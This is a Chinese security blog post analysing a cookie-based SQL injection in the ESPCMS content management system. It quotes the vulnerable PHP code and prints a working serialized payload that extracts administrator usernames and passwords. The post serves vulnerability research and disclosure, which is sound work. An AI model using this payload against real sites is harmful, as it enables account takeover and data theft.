您的位置 » 首页 » 代码审计,实用工具 » 代码审计:ESPCMS最新cookie注入漏洞分析及利用EXP

代码审计:ESPCMS最新cookie注入漏洞分析及利用EXP

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年04月06日 | 文章热度:7,221 次 全屏阅读

显示不全请点击全屏阅读

0×00 简介:

易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。

0×01 漏洞分析:

function in_list() {
	parent::start_pagetemplate();
	$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
	$cartid = $this->fun->accept('ecisp_order_list', 'C');	//接收cookies[‘ecisp_order_list’]
	$cartid = stripslashes(htmlspecialchars_decode($cartid));
	$uncartid = !empty($cartid) ? unserialize($cartid) : 0;		//$cartid有特殊的格式要求
	if ($uncartid && is_array($uncartid)) {
		$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount');
		$didlist = $this->fun->format_array_text(array_keys($didarray), ',');
		if (!empty($didlist)) {
			$db_table = db_prefix . 'document';
			$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
			$sql="SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where";	//动态构造sql语句
			$rs = $this->db->query($sql);		//直接带入查询

 

直接获取cookies[‘ecisp_order_list’]的值,没有经过过滤,直接被用来构造了sql语句,并带入了查询。所以此处形成了一个cookie注入。

 

0×02 难点:

接收到的cookies[‘ecisp_order_list’]在整个传递过程中,经过了htmlspecialchars_decode()、stripslashes()、unserialize()、key_array_name()、array_keys()、format_array_text()几个函数。

 

其中stripslashes()使得注入语句可以无视GPC的影响。

 

但是,由于unserialize()的使用,使得构造exp的难度加大;因为传入unserialize()的值,必须使用一种规定的特殊格式(实施上,我也没有完全吃透这个特殊格式)

 

我就依靠运气,和一点小技巧,成功地构造出了exp,这里就不细说了。大家可以通过打印几个函数的返回值,来找到构造的方法。(或者,也可以通过下面的exp,来找寻一些规律)

 

0×03 EXP:

 

a:1:{s:3:”k23″;a:2:{s:3:”did”;s:159:”24) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,password,username,19,20,21,22,23,24,25,26,27,28,29,30,31 from espcms_admin_member where 1 in (1″;s:6:”amount”;i:1;}}

 

0×04  利用方法:

其实大家都懂的,为了防止exp使用门槛过低(其实已经很低了),就不再一一展示利用过程了。

 

0×05  效果演示:

注入获取管理员信息:

 

官方后台:

 

 

 

作者:n3wf

Tags:

espcms漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2538/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)